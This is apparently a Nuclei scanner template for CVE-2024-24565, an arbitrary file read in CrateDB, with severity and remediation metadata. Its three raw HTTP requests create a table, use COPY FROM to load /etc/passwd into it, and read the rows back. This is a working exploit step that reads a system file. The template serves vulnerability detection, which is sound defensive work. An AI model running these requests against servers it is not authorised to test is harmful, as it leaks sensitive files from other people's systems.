CVE-2024-24565: CrateDB Database - Arbitrary File Read

id: CVE-2024-24565

info:
  name: CrateDB Database - Arbitrary File Read
  author: DhiyaneshDK
  severity: medium
  description: |
    CrateDB is a distributed SQL database that makes it simple to store and analyze massive amounts of data in real-time. There is a COPY FROM function in the CrateDB database that is used to import file data into database tables. This function has a flaw, and authenticated attackers can use the COPY FROM function to import arbitrary file content into database tables, resulting in information leakage.
  impact: |
    Authenticated attackers can read arbitrary files on the server including sensitive configuration files and system files.
  remediation: |
    Update CrateDB to a version that addresses CVE-2024-24565.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2024-24565
    cwe-id: CWE-22
    epss-score: 0.85571
    epss-percentile: 0.99343
    cpe: cpe:2.3:a:cratedb:cratedb:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cratedb
    product: cratedb
    fofa-query: title="CrateDB"
  tags: cve,cve2024,cratedb,lfi,exposure,intrusive,vuln

variables:
  table_name: "{{to_lower(rand_text_alpha(8))}}"

http:
  - raw:
      - |
        POST /_sql?types HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=UTF-8

        {"stmt":"CREATE TABLE {{table_name}}(info_leak STRING)"}

      - |
        POST /_sql?types HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=UTF-8

        {"stmt":"COPY {{table_name}} FROM '/etc/passwd' with (format='csv', header=false)"}

      - |
        POST /_sql?types HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=UTF-8

        {"stmt":"SELECT * FROM {{table_name}} limit 100"}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - regex('root:.*:0:0:', body_3)
          - "contains_all(header, 'application/json')"
          - "status_code_1 == 200 && status_code_2 == 200 && status_code_3 == 200"
        condition: and
# digest: 490a00463044022070f96ca4d6b85704932fbb7d32866f4edb48cea2bee702f15a87516e79a193de022039f4c0012786413607e26df938fdd36d70309d2f8a2e243d4be1a412d704a014:922c64590222798bb761d5b6d8e72950